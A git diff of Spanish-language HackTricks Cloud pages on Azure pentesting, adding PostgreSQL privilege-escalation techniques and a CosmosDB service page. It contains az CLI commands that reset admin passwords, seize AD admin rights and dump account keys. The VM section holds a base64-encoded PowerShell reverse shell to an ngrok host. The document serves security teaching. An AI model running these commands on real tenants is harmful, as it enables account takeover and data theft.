--admin-password <password_to_update>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Además, es necesario tener habilitado el acceso público si deseas acceder desde un punto final no privado. Para habilitarlo:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
|
||||
|
||||
Con este permiso, puedes configurar administradores de Azure Active Directory (AD) para un Servidor Flexible de MySQL. Esto se puede explotar configurando a uno mismo u otra cuenta como el administrador de AD, otorgando control administrativo total sobre el servidor MySQL. Es importante que el servidor flexible tenga identidades administradas asignadas a un usuario para poder utilizarlo.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--display-name <ADAdminDisplayName> \
|
||||
--identity <IdentityNameOrID> \
|
||||
--object-id <ObjectID>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,93 @@
|
||||
# Az - PostgreSQL Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL Privesc
|
||||
Para más información sobre SQL Database consulta:
|
||||
|
||||
{% content-ref url="../az-services/az-postgresql.md" %}
|
||||
[az-postgresql.md](../az-services/az-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
|
||||
|
||||
Con este permiso, puedes crear, actualizar o eliminar instancias de PostgreSQL Flexible Server en Azure. Esto incluye aprovisionar nuevos servidores, modificar configuraciones de servidores existentes o desmantelar servidores.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server create \
|
||||
--name <ServerName> \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--location <Location> \
|
||||
--admin-user <AdminUsername> \
|
||||
--admin-password <AdminPassword> \
|
||||
--sku-name <SkuName> \
|
||||
--storage-size <StorageSizeInGB> \
|
||||
--tier <PricingTier> \
|
||||
--version <PostgreSQLVersion>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Por ejemplo, estos permisos permiten cambiar la contraseña de PostgreSQL, útil por supuesto en caso de que la autenticación de PostgreSQL esté habilitada.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Además, es necesario tener habilitado el acceso público si deseas acceder desde un punto final no privado. Para habilitarlo:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
|
||||
|
||||
Con este permiso, puedes configurar administradores de Azure Active Directory (AD) para un Servidor Flexible de PostgreSQL. Esto se puede explotar configurando a uno mismo u otra cuenta como el administrador de AD, otorgando control administrativo total sobre el servidor de PostgreSQL. La actualización de un principal existente aún no es compatible, por lo que si hay uno creado, debes eliminarlo primero.
|
||||
|
||||
Es importante que el servidor flexible tenga identidades administradas asignadas a un usuario para poder usarlas.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--display-name <ADAdminDisplayName> \
|
||||
--identity <IdentityNameOrID> \
|
||||
--object-id <ObjectID>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -65,7 +65,7 @@ az vm extension set \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
- Ejecutar shell inverso desde archivo
|
||||
- Ejecutar shell inverso desde un archivo
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
@@ -157,7 +157,7 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [servicio de Cuentas de Automatización](../az-services/az-automation-account/).
|
||||
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [Automation Accounts service](../az-services/az-automation-account/index.html).
|
||||
|
||||
</details>
|
||||
|
||||
@@ -328,7 +328,7 @@ az vm create \
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Esos permisos son suficientes para **asignar nuevas identidades administradas a una VM**. Tenga en cuenta que una VM puede tener varias identidades administradas. Puede tener la **asignada por el sistema** y **muchas identidades administradas por el usuario**.\
|
||||
Luego, desde el servicio de metadatos es posible generar tokens para cada una.
|
||||
Luego, desde el servicio de metadatos, es posible generar tokens para cada una.
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
az vm identity show \
|
||||
@@ -346,11 +346,11 @@ az vm identity assign \
|
||||
Luego, el atacante necesita haber **comprometido de alguna manera la VM** para robar tokens de las identidades administradas asignadas. Consulta **más información en**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
Según los [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), este permiso te permite gestionar el SO de tu recurso a través de Windows Admin Center como administrador. Así que parece que esto da acceso al WAC para controlar las VMs...
|
||||
Según la [**documentación**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), este permiso te permite gestionar el sistema operativo de tu recurso a través de Windows Admin Center como administrador. Así que parece que esto da acceso al WAC para controlar las VMs...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
357
src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
Normal file
357
src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
Normal file
@@ -0,0 +1,357 @@
|
||||
# Az - CosmosDB
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB** es una base de datos **NoSQL, relacional y vectorial completamente gestionada** que ofrece tiempos de respuesta de un solo dígito en milisegundos, escalabilidad automática y disponibilidad respaldada por SLA con seguridad de nivel empresarial. Permite un desarrollo de aplicaciones más rápido a través de la distribución de datos multi-región lista para usar, APIs de código abierto, SDKs para lenguajes populares y características de bases de datos de IA como soporte de vectores integrado e integración fluida con Azure AI.
|
||||
|
||||
Azure Cosmos DB proporciona múltiples APIs de base de datos para modelar datos del mundo real utilizando documentos, modelos de datos relacionales, clave-valor, gráfico y de familia de columnas, siendo estas APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin y Table.
|
||||
|
||||
Un aspecto clave de CosmosDB es la Cuenta de Cosmos de Azure. **La Cuenta de Cosmos de Azure** actúa como el punto de entrada a las bases de datos. La cuenta determina configuraciones clave como la distribución global, los niveles de consistencia y la API específica que se utilizará, como NoSQL. A través de la cuenta, puedes configurar la replicación global para garantizar que los datos estén disponibles en múltiples regiones para un acceso de baja latencia. Además, puedes elegir un nivel de consistencia que equilibre el rendimiento y la precisión de los datos, con opciones que van desde la consistencia Fuerte hasta la consistencia Eventual.
|
||||
|
||||
### NoSQL (sql)
|
||||
La API NoSQL de Azure Cosmos DB es una API basada en documentos que utiliza JSON como su formato de datos. Proporciona una sintaxis de consulta similar a SQL para consultar objetos JSON, lo que la hace adecuada para trabajar con datos estructurados y semi-estructurados. El punto final del servicio es:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
https://<Account-Name>.documents.azure.com:443/
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Bases de datos
|
||||
Dentro de una cuenta, puedes crear una o más bases de datos, que sirven como agrupaciones lógicas de contenedores. Una base de datos actúa como un límite para la gestión de recursos y permisos de usuario. Las bases de datos pueden compartir el rendimiento provisionado entre sus contenedores o asignar rendimiento dedicado a contenedores individuales.
|
||||
|
||||
#### Contenedores
|
||||
La unidad central de almacenamiento de datos es el contenedor, que contiene documentos JSON y se indexa automáticamente para consultas eficientes. Los contenedores son escalables de manera elástica y se distribuyen a través de particiones, que son determinadas por una clave de partición definida por el usuario. La clave de partición es crítica para garantizar un rendimiento óptimo y una distribución uniforme de los datos. Por ejemplo, un contenedor podría almacenar datos de clientes, con "customerId" como la clave de partición.
|
||||
|
||||
#### Enumeración
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# CosmoDB Account
|
||||
## List Azure Cosmos DB database accounts.
|
||||
az cosmosdb list --resource-group <ResourceGroupName>
|
||||
az cosmosdb show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
## Lists the virtual network accounts associated with a Cosmos DB account
|
||||
az cosmosdb network-rule list --resource-group <ResourceGroupName> --name <AccountName>
|
||||
## List the access keys or connection strings for a Azure Cosmos DB
|
||||
az cosmosdb keys list --name <AccountName> --resource-group <ResourceGroupName>
|
||||
## List all the database accounts that can be restored.
|
||||
az cosmosdb restorable-database-account list --account-name <AccountName>
|
||||
## Show the identities for a Azure Cosmos DB database account.
|
||||
az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
|
||||
# CosmoDB (NoSQL)
|
||||
## List the SQL databases under an Azure Cosmos DB account.
|
||||
az cosmosdb sql database list --resource-group <ResourceGroupName> --account-name <AccountName>
|
||||
## List the SQL containers under an Azure Cosmos DB SQL database.
|
||||
az cosmosdb sql container list --account-name <AccountName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
|
||||
## List all SQL role assignments under an Azure Cosmos DB
|
||||
az cosmosdb sql role assignment list --resource-group <ResourceGroupName> --account-name <AccountName>
|
||||
## List all SQL role definitions under an Azure Cosmos DB
|
||||
az cosmosdb sql role definition list --resource-group <ResourceGroupName> --account-name <AccountName>
|
||||
|
||||
## List the SQL stored procedures under an Azure Cosmos DB
|
||||
az cosmosdb sql stored-procedure list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
## List the SQL triggers under an Azure Cosmos DB SQL container.
|
||||
az cosmosdb sql trigger list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
## List the SQL user defined functions under an Azure Cosmos DB SQL container
|
||||
az cosmosdb sql user-defined-function list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.CosmosD
|
||||
|
||||
# List all Cosmos DB accounts in a specified resource group.
|
||||
Get-AzCosmosDBAccount -ResourceGroupName "<ResourceGroupName>"
|
||||
|
||||
# Get the access keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBAccountKey -ResourceGroupName "<ResourceGroupName>" -Name "<AccountName>"
|
||||
|
||||
# Retrieve the client encryption keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
|
||||
|
||||
# List all SQL containers in a specific Cosmos DB SQL database.
|
||||
Get-AzCosmosDBSqlContainer -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
|
||||
|
||||
# Get backup information for a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlContainerBackupInformation -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -Name "<ContainerName>" -Location "<location>"
|
||||
|
||||
# Get the throughput (RU/s) settings for a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlContainerThroughput -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -Name "<ContainerName>"
|
||||
|
||||
# List all SQL databases under a specific Cosmos DB account.
|
||||
Get-AzCosmosDBSqlDatabase -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
|
||||
|
||||
# Get the throughput (RU/s) settings for a specific Cosmos DB SQL database.
|
||||
Get-AzCosmosDBSqlDatabaseThroughput -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -Name "<DatabaseName>"
|
||||
|
||||
# List all SQL role assignments for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBSqlRoleAssignment -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
|
||||
|
||||
# List all SQL role definitions for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBSqlRoleDefinition -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
|
||||
|
||||
# List all stored procedures in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlStoredProcedure -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
|
||||
# List all triggers in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlTrigger -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
|
||||
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Conexión
|
||||
|
||||
Para conectar la biblioteca azure-cosmosDB (pip install azure-cosmos) es necesario. Además, el endpoint y la clave son componentes cruciales para realizar la conexión.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from azure.cosmos import CosmosClient, PartitionKey
|
||||
|
||||
# Connection details
|
||||
endpoint = "<your-account-endpoint>"
|
||||
key = "<your-account-key>"
|
||||
|
||||
# Initialize Cosmos Client
|
||||
client = CosmosClient(endpoint, key)
|
||||
|
||||
# Access existing database and container
|
||||
database_name = '<SampleDB>'
|
||||
container_name = '<SampleContainer>'
|
||||
database = client.get_database_client(database_name)
|
||||
container = database.get_container_client(container_name)
|
||||
|
||||
# Insert multiple documents
|
||||
items_to_insert = [
|
||||
{"id": "1", "name": "Sample Item", "description": "This is a sample document."},
|
||||
{"id": "2", "name": "Another Sample Item", "description": "This is another sample document."},
|
||||
{"id": "3", "name": "Sample Item", "description": "This is a duplicate name sample document."},
|
||||
]
|
||||
|
||||
for item in items_to_insert:
|
||||
container.upsert_item(item)
|
||||
|
||||
# Query all documents
|
||||
query = "SELECT * FROM c"
|
||||
all_items = list(container.query_items(
|
||||
query=query,
|
||||
enable_cross_partition_query=True
|
||||
))
|
||||
|
||||
# Print all queried items
|
||||
print("All items in the container:")
|
||||
for item in all_items:
|
||||
print(item)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Otra forma de establecer una conexión es usar **DefaultAzureCredential()**. Solo necesitas iniciar sesión (az login) con la cuenta que tiene los permisos y ejecutarlo. Para este caso, se debe realizar una asignación de rol, otorgando los permisos necesarios (ver para más)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from azure.identity import DefaultAzureCredential
|
||||
from azure.cosmos import CosmosClient
|
||||
|
||||
# Use Azure AD for authentication
|
||||
credential = DefaultAzureCredential()
|
||||
endpoint = "<your-account-endpoint>"
|
||||
client = CosmosClient(endpoint, credential)
|
||||
|
||||
# Access database and container
|
||||
database_name = "<mydatabase>"
|
||||
container_name = "<mycontainer>"
|
||||
database = client.get_database_client(database_name)
|
||||
container = database.get_container_client(container_name)
|
||||
|
||||
# Insert a document
|
||||
item = {
|
||||
"id": "1",
|
||||
"name": "Sample Item",
|
||||
"description": "This is a test item."
|
||||
}
|
||||
container.create_item(item)
|
||||
print("Document inserted.")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### MongoDB
|
||||
La API NoSQL de MongoDB es una API basada en documentos que utiliza BSON (Binary JSON) similar a JSON como su formato de datos. Proporciona un lenguaje de consulta con capacidades de agregación, lo que la hace adecuada para trabajar con datos estructurados, semi-estructurados y no estructurados. El endpoint del servicio generalmente sigue este formato:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
mongodb://<hostname>:<port>/<database>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Bases de datos
|
||||
En MongoDB, puedes crear una o más bases de datos dentro de una instancia. Cada base de datos sirve como un agrupamiento lógico de colecciones y proporciona un límite para la organización y gestión de recursos. Las bases de datos ayudan a separar y gestionar datos lógicamente, como para diferentes aplicaciones o proyectos.
|
||||
|
||||
#### Colecciones
|
||||
La unidad central de almacenamiento de datos en MongoDB es la colección, que contiene documentos y está diseñada para consultas eficientes y un diseño de esquema flexible. Las colecciones son escalables de manera elástica y pueden soportar operaciones de alto rendimiento a través de múltiples nodos en una configuración distribuida.
|
||||
|
||||
#### Enumeración
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# CosmoDB Account
|
||||
## List Azure Cosmos DB database accounts.
|
||||
az cosmosdb list --resource-group <ResourceGroupName>
|
||||
az cosmosdb show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
## Lists the virtual network accounts associated with a Cosmos DB account
|
||||
az cosmosdb network-rule list --resource-group <ResourceGroupName> --name <AccountName>
|
||||
## List the access keys or connection strings for a Azure Cosmos DB
|
||||
az cosmosdb keys list --name <AccountName> --resource-group <ResourceGroupName>
|
||||
## List all the database accounts that can be restored.
|
||||
az cosmosdb restorable-database-account list --account-name <AccountName>
|
||||
## Show the identities for a Azure Cosmos DB database account.
|
||||
az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.CosmosDB
|
||||
|
||||
# List all Cosmos DB accounts in a specified resource group.
|
||||
Get-AzCosmosDBAccount -ResourceGroupName "<ResourceGroupName>"
|
||||
|
||||
# Get the access keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBAccountKey -ResourceGroupName "<ResourceGroupName>" -Name "<AccountName>"
|
||||
|
||||
# Retrieve the client encryption keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
|
||||
|
||||
# List all MongoDB collections in a specific database.
|
||||
Get-AzCosmosDBMongoDBCollection -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name>
|
||||
|
||||
# Retrieve backup information for a specific MongoDB collection in a database.
|
||||
Get-AzCosmosDBMongoDBCollectionBackupInformation -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name> -Name <collection-name> -Location <Location>
|
||||
|
||||
# Get the throughput (RU/s) of a specific MongoDB collection in a database.
|
||||
Get-AzCosmosDBMongoDBCollectionThroughput -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name> -Name <collection-name>
|
||||
|
||||
# List all MongoDB databases in a specified Cosmos DB account.
|
||||
Get-AzCosmosDBMongoDBDatabase -AccountName <account-name> -ResourceGroupName <resource-group-name>
|
||||
|
||||
# Get the throughput (RU/s) of a specific MongoDB database.
|
||||
Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name>
|
||||
|
||||
# Retrieve the role definitions for MongoDB users in a specified Cosmos DB account.
|
||||
Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupName <resource-group-name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Conexión
|
||||
|
||||
Aquí la contraseña que puedes encontrar con las claves o con el método descrito en la sección de privesc.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
|
||||
# Updated connection string with retryWrites=false
|
||||
connection_string = "mongodb://<account-name>.mongo.cosmos.azure.com:10255/?ssl=true&replicaSet=globaldb&retryWrites=false"
|
||||
|
||||
# Create the client
|
||||
client = MongoClient(connection_string, username="<username>", password="<password>")
|
||||
|
||||
# Access the database
|
||||
db = client['<database>']
|
||||
|
||||
# Access a collection
|
||||
collection = db['<collection>']
|
||||
|
||||
# Insert a single document
|
||||
document = {
|
||||
"name": "John Doe",
|
||||
"email": "johndoe@example.com",
|
||||
"age": 30,
|
||||
"address": {
|
||||
"street": "123 Main St",
|
||||
"city": "Somewhere",
|
||||
"state": "CA",
|
||||
"zip": "90210"
|
||||
}
|
||||
}
|
||||
|
||||
# Insert document
|
||||
result = collection.insert_one(document)
|
||||
